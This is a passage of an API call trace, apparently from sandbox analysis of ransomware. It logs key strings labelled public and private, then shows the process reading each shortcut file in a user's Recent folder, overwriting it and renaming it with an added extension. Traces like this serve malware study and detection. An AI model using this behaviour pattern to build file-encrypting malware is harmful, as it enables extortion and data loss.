lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.832] GetCurrentThreadId () returned 0xa30 [0083.832] GetCurrentThreadId () returned 0xa30 [0083.832] GetCurrentThreadId () returned 0xa30 [0083.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VafNA2H199yI1tndZ.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vafna2h199yi1tndz.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.832] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.832] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.832] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x266 [0083.833] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.833] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x266, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x266, lpOverlapped=0x0) returned 1 [0083.835] CloseHandle (hObject=0x124) returned 1 [0083.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VafNA2H199yI1tndZ.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vafna2h199yi1tndz.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.837] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x266, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x266, lpOverlapped=0x0) returned 1 [0083.839] CloseHandle (hObject=0x124) returned 1 [0083.847] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VafNA2H199yI1tndZ.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vafna2h199yi1tndz.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VafNA2H199yI1tndZ.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vafna2h199yi1tndz.flv.lnk.zv7un")) returned 1 [0083.848] GetCurrentThreadId () returned 0xa30 [0083.848] GetCurrentThreadId () returned 0xa30 [0083.848] GetCurrentThreadId () returned 0xa30 [0083.848] GetCurrentThreadId () returned 0xa30 [0083.849] GetCurrentThreadId () returned 0xa30 [0083.849] GetCurrentThreadId () returned 0xa30 [0083.849] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eae60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6eae60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1479, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="vctdac7wdvfxK.lnk", cAlternateFileName="VCTDAC~1.LNK")) returned 1 [0083.849] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.849] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.849] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vctdac7wdvfxK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vctdac7wdvfxk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eae60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6eae60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1479)) returned 1 [0083.849] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vctdac7wdvfxK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vctdac7wdvfxk.lnk")) returned 0x20 [0083.849] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vctdac7wdvfxK.lnk", dwFileAttributes=0x80) returned 1 [0083.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.852] GetCurrentThreadId () returned 0xa30 [0083.852] GetCurrentThreadId () returned 0xa30 [0083.852] GetCurrentThreadId () returned 0xa30 [0083.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.853] GetCurrentThreadId () returned 0xa30 [0083.853] GetCurrentThreadId () returned 0xa30 [0083.853] GetCurrentThreadId () returned 0xa30 [0083.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vctdac7wdvfxK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vctdac7wdvfxk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.853] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.854] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.854] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1479 [0083.854] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.854] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1479, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1479, lpOverlapped=0x0) returned 1 [0083.946] CloseHandle (hObject=0x124) returned 1 [0083.946] CreateFileW 